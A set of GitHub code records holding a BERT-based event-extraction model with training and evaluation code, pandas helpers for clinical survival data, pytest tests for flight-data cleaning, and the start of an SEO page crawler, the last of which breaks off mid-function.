+{"seq_id":"36434294071","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim import AdamW\nfrom torch.utils.data import DataLoader\nfrom transformers import BertModel\nfrom itertools import chain\nimport pickle\n\nfrom type_def import *\nfrom utils import tools, batch_tool, tokenize_tools\nfrom utils.tokenize_tools import OffsetMapping\nfrom utils.data import SimpleDataset\nfrom evaluate.evaluator import BaseEvaluator, EE_F1Evaluator, SentenceWithEvent, Events, Event, Mention, Mentions\nfrom models.model_utils import get_init_params\nfrom analysis.recorder import NaiveRecorder\n\nfrom work.EE import EE_settings, EE_utils\n\n\nclass PLMEE(nn.Module):\n    def __init__(self,\n                 plm_lr: float = EE_settings.plm_lr,\n                 linear_lr: float = EE_settings.others_lr,\n                 plm_path: str = EE_settings.default_plm_path,\n                 event_types: str = EE_settings.event_types_full,\n                 role_types: str = EE_settings.role_types,\n                 threshold: float = EE_settings.event_detection_threshold):\n        super(PLMEE, self).__init__()\n        self.init_params = get_init_params(locals())\n\n        self.plm_lr = plm_lr\n        self.linear_lr = linear_lr\n        self.plm_path = plm_path\n        self.event_types = event_types\n        self.role_types = role_types\n\n        self.threshold = threshold\n\n        self.bert = BertModel.from_pretrained(self.plm_path)\n        self.hidden = self.bert.config.hidden_size\n        self.trigger_linear_start = nn.Linear(self.hidden, len(self.event_types))\n        self.trigger_linear_end = nn.Linear(self.hidden, len(self.event_types))\n        self.argument_linear_start = nn.Linear(self.hidden, len(self.role_types))\n        self.argument_linear_end = nn.Linear(self.hidden, len(self.role_types))\n\n        self.init_weights()\n\n    def init_weights(self):\n        torch.nn.init.xavier_uniform_(self.trigger_linear_start.weight)\n        self.trigger_linear_start.bias.data.fill_(0)\n        torch.nn.init.xavier_uniform_(self.argument_linear_start.weight)\n        self.argument_linear_start.bias.data.fill_(0)\n        torch.nn.init.xavier_uniform_(self.trigger_linear_end.weight)\n        self.trigger_linear_end.bias.data.fill_(0)\n        torch.nn.init.xavier_uniform_(self.argument_linear_end.weight)\n        self.argument_linear_end.bias.data.fill_(0)\n\n    def get_optimizers(self):\n        self.plm_params = self.bert.parameters()\n        self.trigger_start_params = self.trigger_linear_start.parameters()\n        self.trigger_end_params = self.trigger_linear_end.parameters()\n        self.argument_start_params = self.argument_linear_start.parameters()\n        self.argument_end_params = self.argument_linear_end.parameters()\n\n        plm_optimizer = AdamW(params=self.plm_params, lr=self.plm_lr)\n        linear_optimizer = AdamW(params=chain(self.trigger_start_params, self.trigger_end_params, self.argument_start_params, self.argument_end_params), lr=self.linear_lr)\n        return [plm_optimizer, linear_optimizer]\n\n    def forward(self, input_ids: torch.Tensor, token_type_ids: torch.Tensor, attention_mask: torch.Tensor, trigger_gt: list = None):\n        \"\"\"\n\n        :param input_ids: (bsz, seq_l)\n        :param token_type_ids: (bsz, seq_l)\n        :param attention_mask: (bsz, seq_l)\n        :param trigger_gt:\n            len(trigger_gt) == bsz\n            len(trigger_gt[*]) == 2, start and end\n            如果为None，则根据trigger_output提取trigger信息。如果不为None，则使用该list中的下标信息对token_type_ids进行标记\n        :return:\n        \"\"\"\n        bsz, seq_l = input_ids.shape\n        trigger_output = self.predict_trigger(input_ids, token_type_ids, attention_mask)  # dict\n        trigger_start, trigger_end = trigger_output['trigger_start'], trigger_output['trigger_end']\n        # both (bsz, seq_l, event_type_cnt)\n        if trigger_gt is None:\n            # 这种情况下，无反向传播\n            trigger_start = trigger_start.permute([0, 2, 1])\n            trigger_end = trigger_end.permute([0, 2, 1])\n            # both (bsz, event_type_cnt, seq_l)\n\n            trigger_start_digit = (trigger_start > self.threshold).int().tolist()\n            trigger_end_digit = (trigger_end > self.threshold).int().tolist()\n            # both (bsz, event_type_cnt, seq_l)\n            predicts = []  # (batch, event_type, [trigger_span, arguments])\n\n            for i_batch, (e_start_tensor, e_start_digit, e_end_tensor, e_end_digit) in enumerate(list(zip(trigger_start, trigger_start_digit, trigger_end, trigger_end_digit))):\n                # 对每个batch考虑\n                # all (event_type_cnt, seq_l)\n                predicts.append([])\n                # predicts[-1]存放当前句子的信息\n                cur_input_ids = input_ids[i_batch].unsqueeze(0)  # (seq_l)\n                cur_attention_mask = input_ids[i_batch].unsqueeze(0)  # (seq_l)\n                for i_etype, (e_start_type_tensor, e_start_type_digit, e_end_type_tensor, e_end_type_digit) in enumerate(list(zip(e_start_tensor, e_start_digit, e_end_tensor, e_end_digit))):\n                    # 对当前句子的每个事件类型考虑\n                    # all (seq_l)\n                    predicts[-1].append([])\n                    # predicts[-1][-1]存放当前事件类型的信息\n                    # 该句子当前类型的触发词都存放在span当中\n                    spans = tools.argument_span_determination(e_start_type_digit, e_end_type_digit, e_start_type_tensor, e_end_type_tensor)\n                    # 存放该句子在每个触发词下所对应的论元的列表\n                    argument_preds: List[Tuple[int, List[Tuple[int, int]]]] = []  # list element: (role_type, role span list)\n                    # len(spans) == len(argument_preds)\n                    for e_span in spans:\n                        # argument_preds[-1]就存放论元的列表\n                        cur_token_type_ids = token_type_ids[i_batch].clone().detach().unsqueeze(0)  # (1, seq_l)\n                        cur_token_type_ids[0][e_span[0]] = 1\n                        cur_token_type_ids[0][e_span[1]] = 1\n                        argument_output = self.predict_argument(cur_input_ids, cur_token_type_ids, cur_attention_mask)\n                        a_start, a_end = argument_output['argument_start'].squeeze(0).T, argument_output['argument_end'].squeeze(0).T\n                        # both (role_type_cnt, seq_l)\n                        for i_rtype, (e_start, e_end) in enumerate(list(zip(a_start, a_end))):\n                            # both (seq_l)\n                            a_start_digit = (e_start > self.threshold).int().tolist()\n                            a_end_digit = (e_end > self.threshold).int().tolist()\n                            cur_span = tools.argument_span_determination(a_start_digit, a_end_digit, a_start, a_end)\n                            if len(cur_span) != 0:\n                                argument_preds.append((i_rtype, cur_span))\n                        if len(argument_preds) != 0:\n                            predicts[-1][-1].append([e_span, argument_preds])\n\n                    # predicts[-1][-1].append(spans)\n                    # predicts[-1][-1].append(argument_preds)\n                    # predicts[-1][-1].append((spans, argument_preds))\n            return {\n                'predicts': predicts\n            }\n        else:\n            token_label = torch.zeros(token_type_ids.shape, dtype=torch.long)\n            if token_type_ids.is_cuda:\n                token_label = token_label.cuda()\n            for idx, elem in enumerate(trigger_gt):\n                token_label[idx][elem[0]] = 1\n                token_label[idx][elem[1]] = 1\n            token_type_ids = token_type_ids + token_label\n            argument_output = self.predict_argument(input_ids, token_type_ids, attention_mask)\n            a_start, a_end = argument_output['argument_start'], argument_output['argument_end']\n            # both (bsz, seq_l, role_type_cnt)\n            return {\n                'trigger_start_pred': trigger_start,\n                'trigger_end_pred': trigger_end,\n                'argument_start_pred': a_start,\n                'argument_end_pred': a_end,\n                'attention_mask': attention_mask\n            }\n\n    def predict_trigger(self, input_ids: torch.Tensor, token_type_ids: torch.Tensor, attention_mask: torch.Tensor):\n        output = self.bert(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask)\n        result = output[0]  # (bsz, seq_l, hidden)\n\n        trigger_start = torch.sigmoid(self.trigger_linear_start(result))  # (bsz, seq_l, event_type_cnt)\n        trigger_end = torch.sigmoid(self.trigger_linear_end(result))  # (bsz, seq_l, event_type_cnt)\n        return {\n            'trigger_start': trigger_start,\n            'trigger_end': trigger_end\n        }\n\n    def predict_argument(self, input_ids: torch.Tensor, token_type_ids: torch.Tensor, attention_mask: torch.Tensor):\n        output = self.bert(input_ids=input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask)\n        result = output[0]  # (bsz, seq_l, hidden)\n\n        argument_start = torch.sigmoid(self.argument_linear_start(result))  # (bsz, seq_l, event_type_cnt)\n        argument_end = torch.sigmoid(self.argument_linear_end(result))  # (bsz, seq_l, event_type_cnt)\n        return {\n            'argument_start': argument_start,\n            'argument_end': argument_end\n        }\n\n\nclass PLMEE_Loss(nn.Module):\n    def forward(self,\n                trigger_start_pred: torch.Tensor,\n                trigger_end_pred: torch.Tensor,\n                argument_start_pred: torch.Tensor,\n                argument_end_pred: torch.Tensor,\n                attention_mask: torch.Tensor,\n                trigger_start_label: torch.Tensor,\n                trigger_end_label: torch.Tensor,\n                argument_start_label: torch.Tensor,\n                argument_end_label: torch.Tensor):\n        \"\"\"\n\n        :param trigger_start_pred: (bsz, seq_l, event_type_cnt)\n        :param trigger_end_pred:\n        :param argument_start_pred:\n        :param argument_end_pred:\n        :param attention_mask: (bsz, seq_l)\n        :param trigger_start_label:\n        :param trigger_end_label:\n        :param argument_start_label:\n        :param argument_end_label:\n        :return:\n        \"\"\"\n        # mask = (1 - attention_mask).bool()\n        #\n        # # 计算mask\n        # trigger_start_pred = trigger_start_pred.masked_fill(mask, value=torch.tensor(0))\n        # trigger_end_pred = trigger_end_pred.masked_fill(mask, value=torch.tensor(0))\n        # argument_start_pred = argument_start_pred.masked_fill(mask, value=torch.tensor(0))\n        # argument_end_pred = argument_end_pred.masked_fill(mask, value=torch.tensor(0))\n\n        attention_mask = attention_mask.unsqueeze(-1)  # (bsz, seq_l, 1)\n        # 计算loss\n        trigger_start_loss = F.binary_cross_entropy(trigger_start_pred, trigger_start_label, reduction='none')\n        trigger_end_loss = F.binary_cross_entropy(trigger_end_pred, trigger_end_label, reduction='none')\n        argument_start_loss = F.binary_cross_entropy(argument_start_pred, argument_start_label, reduction='none')\n        argument_end_loss = F.binary_cross_entropy(argument_end_pred, argument_end_label, reduction='none')\n\n        ts_loss = torch.sum(trigger_start_loss * attention_mask) / torch.sum(attention_mask)\n        te_loss = torch.sum(trigger_end_loss * attention_mask) / torch.sum(attention_mask)\n        as_loss = torch.sum(argument_start_loss * attention_mask) / torch.sum(attention_mask)\n        ae_loss = torch.sum(argument_end_loss * attention_mask) / torch.sum(attention_mask)\n\n        trigger_loss = ts_loss + te_loss\n        argument_loss = as_loss + ae_loss\n\n        loss = trigger_loss + argument_loss\n\n        return loss\n\n\ndef convert_predicts_to_SentenceWithEvent(predicts: list, sentence: str, offset_mapping: OffsetMapping, event_types: list = EE_settings.event_types_full, role_types: list = EE_settings.role_types):\n    \"\"\"\n\n    :param predicts: (batch, event_type, [trigger_span, arguments])\n        其中trigger span长度为2\n        arguments为(trigger_span role_type)\n        在eval的条件下，默认batch_size=1\n    :return:\n    \"\"\"\n    if len(predicts) != 1:\n        raise Exception('[convert_predicts_to_SentenceWithEvent]batch_size不为1！')\n    predict = predicts[0]\n    events = []\n    for i_etype, e_etype in enumerate(predict):\n        event_type_word = event_types[i_etype]\n        mentions = []\n        for i_ta, e_ta in enumerate(e_etype):\n            trigger_span, arguments = e_ta\n            trigger_word = tokenize_tools.tokenSpan_to_word(sentence, trigger_span, offset_mapping)\n            trigger_char_span = list(tokenize_tools.tokenSpan_to_charSpan(trigger_span, offset_mapping))\n            for elem_arg in arguments:\n                rtype_idx, arg_spans = elem_arg\n                role_type_word = role_types[rtype_idx]\n                for elem_role_span in arg_spans:\n                    role_word = tokenize_tools.tokenSpan_to_word(sentence, elem_role_span, offset_mapping)\n                    role_charspan = tokenize_tools.tokenSpan_to_charSpan(elem_role_span, offset_mapping)\n                    mentions.append({\n                        'word': role_word,\n                        'span': role_charspan,\n                        'role': role_type_word\n                    })\n            mentions.append({\n                'word': trigger_word,\n                'span': trigger_char_span,\n                'role': 'trigger'\n            })\n\n        events.append({\n            'type': event_type_word,\n            'mentions': mentions\n        })\n\n    sentencenwithevents = {\n        'id': '',\n        'content': sentence,\n        'events': events\n    }\n    return sentencenwithevents\n\n\nclass PLMEE_Evaluator(BaseEvaluator):\n    def __init__(self, event_types: list = EE_settings.event_types_full, role_types: list = EE_settings.role_types):\n        super(PLMEE_Evaluator, self).__init__()\n        self.event_types = event_types\n        self.role_types = role_types\n        self.f1evaluator = EE_F1Evaluator()\n        self.pred_lst, self.gt_lst = [], []\n\n    def eval_single(self, predicts: list, gt: SentenceWithEvent, sentence, offset_mapping):\n        preds = convert_predicts_to_SentenceWithEvent(predicts, sentence, offset_mapping, self.event_types, self.role_types)\n        self.f1evaluator.eval_single(gt, preds)\n        self.pred_lst.append({\n            'preds': predicts,\n            'sentence': sentence\n        })\n        self.gt_lst.append(gt)\n\n\n    def eval_step(self) -> Dict[str, Any]:\n        result = self.f1evaluator.eval_step()\n        self.pred_lst = []\n        self.gt_lst = []\n        return result\n\n\ndef train_dataset_factory(data_dicts: List[dict], bsz: int = EE_settings.default_bsz, shuffle: bool = EE_settings.default_shuffle, dataset_type: str = 'FewFC'):\n    if dataset_type == 'FewFC':\n        event_types = EE_settings.event_types_full\n        role_types = EE_settings.role_types\n    else:\n        raise Exception(f'{dataset_type}数据集不存在！')\n    train_dataset = SimpleDataset(data_dicts)\n\n\n    def collate_fn(lst):\n        \"\"\"\n        data_dict包含\n        - content\n        - input_ids\n        - token_type_ids\n        - attention_mask\n        - trigger_gt\n        - trigger_start_label\n        - trigger_end_label\n        - argument_start_label\n        - argument_end_label\n        - offset_mapping\n\n        模型需要输入:\n        :param lst:\n        :return:\n        \"\"\"\n        data_dict = tools.transpose_list_of_dict(lst)\n        bsz = len(lst)\n\n        # generate basic input\n        input_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['input_ids']), dtype=torch.long)\n        token_type_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['token_type_ids']), dtype=torch.long)\n        attention_mask = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['attention_mask']), dtype=torch.long)\n        seq_l = input_ids.shape[1]\n        # all (bsz, max_seq_l)\n\n        # generate trigger gt\n        trigger_gt = data_dict['trigger_gt']\n\n        # generate trigger labels\n        trigger_start_label_info, trigger_end_label_info = data_dict['trigger_start_label'], data_dict['trigger_end_label']\n        trigger_start_label, trigger_end_label = torch.zeros((bsz, seq_l, len(event_types)), dtype=torch.float), torch.zeros((bsz, seq_l, len(event_types)), dtype=torch.float)\n        for idx, e_trigger_label in enumerate(trigger_start_label_info):\n            for i_etype, i_start in enumerate(e_trigger_label):\n                i_cur_type, i_cur_index = i_start\n                trigger_start_label[idx][i_cur_index][i_cur_type] = 1\n        for idx, e_trigger_label in enumerate(trigger_end_label_info):\n            for i_etype, i_end in enumerate(e_trigger_label):\n                i_cur_type, i_cur_index = i_end\n                trigger_end_label[idx][i_cur_index][i_cur_type] = 1\n\n        # generate argument labels\n        arg_start_info, arg_end_info = data_dict['argument_start_label'], data_dict['argument_end_label']\n        argument_start_label, argument_end_label = torch.zeros((bsz, seq_l, len(role_types)), dtype=torch.float), torch.zeros((bsz, seq_l, len(role_types)), dtype=torch.float)\n        for idx, e_arg_label in enumerate(arg_start_info):\n            for i_rtype, i_start in enumerate(e_arg_label):\n                i_cur_type, i_cur_index = i_start\n                argument_start_label[idx][i_cur_index][i_cur_type] = 1\n        for idx, e_arg_label in enumerate(arg_end_info):\n            for i_rtype, i_end in enumerate(e_arg_label):\n                i_cur_type, i_cur_index = i_end\n                argument_end_label[idx][i_cur_index][i_cur_type] = 1\n\n        return {\n            'input_ids': input_ids,\n            'token_type_ids': token_type_ids,\n            'attention_mask': attention_mask,\n            'trigger_gt': trigger_gt\n               }, {\n            'trigger_start_label': trigger_start_label,\n            'trigger_end_label': trigger_end_label,\n            'argument_start_label': argument_start_label,\n            'argument_end_label': argument_end_label\n        }\n\n    train_dataloader = DataLoader(train_dataset, batch_size=bsz, shuffle=shuffle, collate_fn=collate_fn)\n\n    return train_dataloader\n\n\ndef dev_dataset_factory(data_dicts: List[dict], dataset_type: str, valid_type: str = 'total'):\n    \"\"\"\n\n    :param data_dicts:\n    :param dataset_type:\n    :param valid_type: trigger, argument, total\n    :return:\n    \"\"\"\n    valid_dataset = SimpleDataset(data_dicts)\n\n    def trigger_collate_fn(lst):\n        data_dict = tools.transpose_list_of_dict(lst)\n        bsz = len(lst)\n\n        # generate basic input\n        input_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['input_ids']), dtype=torch.long)\n        token_type_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['token_type_ids']), dtype=torch.long)\n        attention_mask = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['attention_mask']), dtype=torch.long)\n\n    def arg_collate_fn(lst):\n        data_dict = tools.transpose_list_of_dict(lst)\n        bsz = len(lst)\n\n        # generate basic input\n        input_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['input_ids']), dtype=torch.long)\n        token_type_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['token_type_ids']), dtype=torch.long)\n        attention_mask = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['attention_mask']), dtype=torch.long)\n\n    def total_collate_fn(lst):\n        data_dict = tools.transpose_list_of_dict(lst)\n        bsz = len(lst)\n\n        # generate basic input\n        input_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['input_ids']), dtype=torch.long)\n        token_type_ids = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['token_type_ids']), dtype=torch.long)\n        attention_mask = torch.tensor(batch_tool.batchify_ndarray1d(data_dict['attention_mask']), dtype=torch.long)\n\n        content = data_dict['content'][0]\n        events = data_dict['events'][0]\n        offset_mapping = data_dict['offset_mapping'][0]\n        sentence_with_event = {\n            'content': content,\n            'events': events,\n            'id': ''\n        }\n        return {\n            'input_ids': input_ids,\n            'token_type_ids': token_type_ids,\n            'attention_mask': attention_mask\n               }, {\n            'gt': sentence_with_event,\n            'sentence': content,\n            'offset_mapping': offset_mapping\n        }\n\n    if valid_type == 'trigger':\n        collate_fn = trigger_collate_fn\n    elif valid_type == 'argument':\n        collate_fn = arg_collate_fn\n    elif valid_type == 'total':\n        collate_fn = total_collate_fn\n    else:\n        raise Exception(f'{valid_type}为错误的评价方法')\n\n    valid_dataloader = DataLoader(valid_dataset, batch_size=1, shuffle=False, collate_fn=collate_fn)\n    return valid_dataloader\n\n\ndef dataset_factory(train_file: str, valid_file: str, bsz: int = EE_settings.default_bsz, shuffle: bool = EE_settings.default_shuffle, dataset_type: str = 'FewFC'):\n    train_data_dicts = pickle.load(open(train_file, 'rb'))\n    valid_data_dicts = pickle.load(open(valid_file, 'rb'))\n\n    train_dataloader = train_dataset_factory(train_data_dicts, bsz=bsz, shuffle=shuffle, dataset_type=dataset_type)\n    valid_dataloader = dev_dataset_factory(valid_data_dicts, dataset_type=dataset_type)\n\n    return train_dataloader, valid_dataloader\n\n\n\nmodel_registry = {\n    'model': PLMEE,\n    'loss': PLMEE_Loss,\n    'evaluator': PLMEE_Evaluator,\n    'train_val_data': dataset_factory,\n    'recorder': NaiveRecorder\n}\n\n\nif __name__ == '__main__':\n    train_file = 'temp_data/train.FewFC.labeled.pk'\n    valid_file = 'temp_data/valid.FewFC.gt.pk'\n    bsz = 4\n    shuffle = False\n    dataset_type = 'FewFC'\n\n    train_data_dicts = pickle.load(open(train_file, 'rb'))\n    valid_data_dicts = pickle.load(open(valid_file, 'rb'))\n\n    train_dataloader = train_dataset_factory(train_data_dicts, bsz=bsz, shuffle=shuffle, dataset_type=dataset_type)\n    valid_dataloader = dev_dataset_factory(valid_data_dicts, dataset_type=dataset_type)\n\n    limit = 5\n    train_data, valid_data = [], []\n    for idx, (train_sample, valid_sample) in enumerate(list(zip(train_dataloader, valid_dataloader))):\n        train_data.append(train_sample)\n        valid_data.append(valid_sample)\n\n","repo_name":"1170500820/DLtools","sub_path":"work/EE/PLMEE_rebuild/plmee.py","file_name":"plmee.py","file_ext":"py","file_size_in_byte":22528,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"35507489469","text":"def refining_expGrp(base,keep,rename,dropna_col,index_col=None):\n    XpG = pd.read_csv(base+r'/'+base+'_exp_grp.csv',index_col=index_col)\n    XpG = XpG[keep]\n    XpG = XpG.rename(index=str,columns=rename)\n    XpG = XpG.dropna(axis=0,subset=dropna_col)\n    return XpG\n\ndef refining_trscr(base,transpose=False):\n    Trscr = pd.read_csv(base+r'/'+base+'_data.csv',index_col=0)\n    if transpose:\n        Trscr = Trscr.transpose()\n    return Trscr\n\ndef refining_platform(base,keep,rename,dtype):\n    Plt = pd.read_csv(base+r'/'+base+'_platform.csv',dtype=dtype)\n    Plt = Plt[Plt['SPOT_ID']!='--Control']\n    Plt = Plt[keep]\n    Plt = Plt.rename(index=str,columns=rename)\n    return Plt\n\ndef barsplot(df,titre='',figsize=(6,4)):\n    \n    valeurs = df.unique()\n    \n    categories_sain = []\n    categories_malade = []\n    \n    for v in valeurs:\n        \n        if pd.isnull(v):\n            categories_sain.append(Clinique['id_pathology'].loc[Index_sain].apply(pd.isnull).sum())\n            categories_malade.append(Clinique['id_pathology'].loc[Index_malade].apply(pd.isnull).sum())\n        else:\n            categories_malade.append((df.loc[Index_malade].values == v).sum())\n            categories_sain.append((df.loc[Index_sain].values == v).sum())\n\n    index = np.arange(valeurs.shape[0])\n    \n    fig=plt.figure(figsize=figsize)\n    \n    p1 = plt.bar(index,categories_malade)\n    p2 = plt.bar(index,categories_sain,bottom=categories_malade)\n\n    plt.ylabel('N')\n    plt.title(titre)\n    plt.xticks(index,valeurs)\n    plt.legend((p2[0],p1[0]),('Sain','Malade'))\n    plt.show()\n\ndef OHEncoding(filename,categorical_columns):\n    DF = pd.read_csv(filename,index_col=ID)\n    DF = pd.get_dummies(DF,columns=categorical_columns)\n    return DF\n\ndef Create_Patient_Index_Regression(df):\n    return df[DEAD].index.values\n\ndef Create_Patient_Drop_Index_Classification(df,n_mois):\n    I = [(k[-1]=='+' and int(k[:-1])<n_mois) for k in df[OS].values]\n    return np.setdiff1d(df.index.values,I)\n\ndef X_transcriptome(base,index):\n    X = pd.read_csv(base+r'/'+base+'_trscr.csv',index_col=0)\n    return X.loc[index]\n\ndef get_function_survival(n_mois):\n    return lambda x: 1 if x[-1]=='+' else int((int(x) > n_mois))\n\ndef Y_clinique(base,index,n_mois=None):\n    Y = pd.read_csv(base+r'/'+base+'_clinique_OH.csv',index_col=0)\n    Y = Y.loc[index]\n    if n_mois is None:\n        Y = Y['os_months']\n    else:\n        Y = Y[OS].apply(get_function_survival(n_mois))\n    return Y","repo_name":"Everchange/PredVir","sub_path":"Traitement.py","file_name":"Traitement.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26816376542","text":"import pytest\nimport numpy as np\nimport src.clean_data as cd\n\n# Happy path tests\n@pytest.mark.parametrize(\n    \"text,expected\",\n    [\n        (\"2.50h m\", 2.5), \n        (\"10.30h m\", 10.3),\n        (\"3h 30m\", 3.5),\n        (\"1h 45m\", 1.75),\n    ],\n)\ndef test_get_duration_happy_path(text, expected):\n    assert cd.get_duration(text) == expected\n\n\n# Unhappy path tests\n@pytest.mark.parametrize(\n    \"text\",\n    [\n        \"2.5\", \n        \"10h\", \n        \"3h m\", \n        \"abcd\",\n        \"\",\n    ],\n)\ndef test_get_duration_unhappy_path(text):\n    with pytest.raises(Exception):\n        cd.get_duration(text)\n\n\n# Define a common stop dictionary for the tests\n@pytest.fixture\ndef setup_stops():\n    # Stop dict\n    stop_dict = {\"non-stop\": 0,\n                 \"1-stop\": 1,\n                 \"2+-stop\": 2}\n    return stop_dict\n\n\n# Happy path tests\n@pytest.mark.parametrize(\n    \"text, expected\",\n    [\n        (\"non-stop\", 0), \n        (\"1-stop\", 1),\n        (\"2+-stops\", 2),\n        (\"3 stops\", np.nan)\n    ],\n)\ndef test_get_stops_happy_path(setup_stops, text, expected):\n    # Define a common regex pattern for the tests\n    pattern = r'non-stop|1-stop|2\\+-stop'\n    result = cd.get_stops(text, pattern, setup_stops)\n\n    if np.isnan(expected):\n        assert np.isnan(result)\n    else:\n        assert result == expected\n\n\n# Unhappy path tests\n@pytest.mark.parametrize(\n    \"text\",\n    [\n        \"stop\", \n        \"stops\", \n        \"1\", \n        \"2\",\n        \"\",\n    ],\n)\ndef test_get_stops_unhappy_path(setup_stops, text):\n    pattern = r'non-stop|1-stop|2\\+-stop'\n    assert np.isnan(cd.get_stops(text,pattern,setup_stops))\n\n\n# Set hours dictionary\n@pytest.fixture\ndef set_bucketDict(): \n    hour_buckets = {\n            \"early_morning\": {\"min\": 4, \"max\": 8},\n            \"morning\": {\"min\": 6, \"max\": 12},        \n            \"afternoon\": {\"min\": 12, \"max\": 16},\n            \"evening\": {\"min\": 16, \"max\": 20},\n            \"night\": {\"min\": 20, \"max\": 24},\n            \"late_night\":{\"min\": 0, \"max\": 4}\n        }\n    return hour_buckets\n\n# Happy path tests\n@pytest.mark.parametrize(\n    \"time, expected\",\n    [\n        (\"00:00\", \"late_night\"), \n        (\"06:20\", \"morning\"),\n        (\"12:08\", \"afternoon\"),\n        (\"18:43\", \"evening\"),\n        (\"04:38\", \"early_morning\"),\n        (\"12:00\", \"afternoon\")\n    ],\n)\ndef test_bucket_hours_happy_path(set_bucketDict, time, expected):\n    assert cd.bucket_hours(time, set_bucketDict) == expected\n\n# Unhappy path tests\n@pytest.mark.parametrize(\n    \"time\",\n    [\n        \"25:00\", \n        \"60:00\", \n        \"100:00\",\n        \"\",\n    ],\n)\ndef test_bucket_hours_unhappy_path(time):\n    with pytest.raises(Exception):\n        cd.bucket_hours(time, set_bucketDict)\n","repo_name":"AlejandraLLI/Cloud_Engineering_Project","sub_path":"04_Implementation/pipeline/tests/test_clean_data.py","file_name":"test_clean_data.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"29591531179","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport tldextract as tld\nimport csv\nimport xmltodict\nimport pandas as pd\n\nfrom settings import *\n\n\n'''\nTODO\n- create decorator class to time a function - decorators.py\n- Need to abstract out some functions so that they can take more flexible paramaters\n- Add error handling\n\n'''\n\ndef generate_data(name, url):\n    '''\n    Given a url, a json object is stored\n    '''\n\n    print(\"Starting page crawl...\")\n    data = get_all_pages(url)\n\n    save_as_file(data)\n    \n    print(\"File complete.\")\n\n    return data\n\ndef save_as_file(data, name=NAME):\n\n    # Create file name template\n    file_name = name + \"_data.csv\"\n\n    keys = ['url'] + list(data[list(data.keys())[0]].keys())\n\n    df = pd.DataFrame.from_dict(data, orient='index')\n\n\n    # df = df.rename(columns={df.iloc[:,0].name: 'URL'})\n\n    df.to_csv(file_name, index=False)\n\ndef get_corpus(data):\n\n    corpus = dict()\n\n    # Generate corpus of links (do this from local memory, no need to crawl)\n    for url in data:\n        corpus[url] = data[url]['links_out']\n\n    return corpus\n\ndef on_page_data(page):\n    \"\"\"\n    Crawl a web page and return on page data \n\n    Ignores pages set to no-index and no-follow links\n\n    - check only in body\n\n    - block resource folders (.*/wp-.*)\n    - Check for robots.txt file\n    - - Check for redirect chain if r.history > 0\n    \"\"\"\n\n    # Crawl page\n    req = requests.get(page)\n\n    # If status is 200\n    if req.status_code == 200:\n        soup = BeautifulSoup(req.text, \"html.parser\")\n    else:\n        return None\n\n    # Get index status\n    index = soup.find(\"meta\", {\"name\":\"robots\"})\n    if index == \"no-index\":\n        return None\n\n    # Get meta data\n    title = soup.find(\"title\")\n    description = soup.find(\"meta\", {\"name\":\"description\"})\n    canonical = soup.find(\"link\", {\"rel\":\"canonical\"})\n    og_title = soup.find(\"meta\",  {\"property\":\"og:title\"})\n    og_description = soup.find(\"meta\", {\"property\":\"og:description\"})\n\n\n    # Find interal links only \n    num_links = 0 # total\n    links = []\n    num_links_out = 0 # number of links to interal pages\n    external_links = []\n    num_ext_out = 0 # number of links to external pages\n    for link in soup.find_all('a'):\n        num_links += 1\n        destination = link.get('href')\n        rel = link.get('rel')\n        own_domain = tld.extract(page).domain\n\n        # Handle none type\n        if not destination:\n            continue\n\n        # Strip anchors and url parameters\n        destination = destination.split(\"#\")[0]\n        destination = destination.split('?')[0]\n\n        # If relative path match\n        if re.match('/.*', destination):\n            sub_domain = tld.extract(page).subdomain\n            if sub_domain:\n                destination = 'https://' + sub_domain + own_domain + '.' + tld.extract(page).suffix + destination\n            else:\n                destination = 'https://' + own_domain + '.' + tld.extract(page).suffix + destination\n\n        # If external link\n        if tld.extract(destination).domain != own_domain:\n            num_ext_out += 1\n            external_links.append(destination)\n            continue\n\n        if re.match(\"mailto:.*\", destination) or re.match(\"tel:.*\", destination):\n            continue\n\n        # If no-follow link\n        if rel == 'no-follow':\n            continue\n\n        num_links_out += 1\n        links.append(destination)\n\n    # Get image data\n    images = []\n    num_images = 0\n    missing_alt = 0\n    for img in soup.find_all(\"img\"):\n        image_url = img.get(\"src\")\n        image_alt = img.get(\"alt\")\n\n        images.append(image_url)\n        num_images += 1\n        if not image_alt:\n            missing_alt += 1\n\n    # Get Schema data\n    schema = soup.find(\"script\", {\"type\": \"application/ld+json\"})\n    schema = schema.text if schema else None\n\n    # Get page headings\n    h1 = []\n    h2 = []\n    h3 = []\n    h4 = []\n    h5 = []\n    h6 = []\n    for h_1 in soup.find_all(\"h1\"):\n        h1.append(h_1.text)\n    for h_2 in soup.find_all(\"h2\"):\n        h2.append(h_2.text)\n    for h_3 in soup.find_all(\"h3\"):\n        h3.append(h_3.text)\n    for h_4 in soup.find_all(\"h4\"):\n        h4.append(h_4.text)\n    for h_5 in soup.find_all(\"h5\"):\n        h5.append(h_5.text)\n    for h_6 in soup.find_all(\"h6\"):\n        h6.append(h_6.text)\n\n    # Build info about single page\n    page_data = {\n        \"url\": page,\n        \"links_out\": links,\n        \"ext_links_out\": external_links,\n        \"meta_title\": str(title.text) if title else None,\n        \"meta_description\": str(description[\"content\"]) if description else None,\n        \"meta_canonical\": str(canonical[\"href\"]) if canonical else None,\n        \"meta_og_title\": str(og_title[\"content\"]) if og_title else None,\n        \"meta_og_desc\": str(og_description[\"content\"]) if og_description else None,\n        \"images\": images,\n        \"missing_alt\": 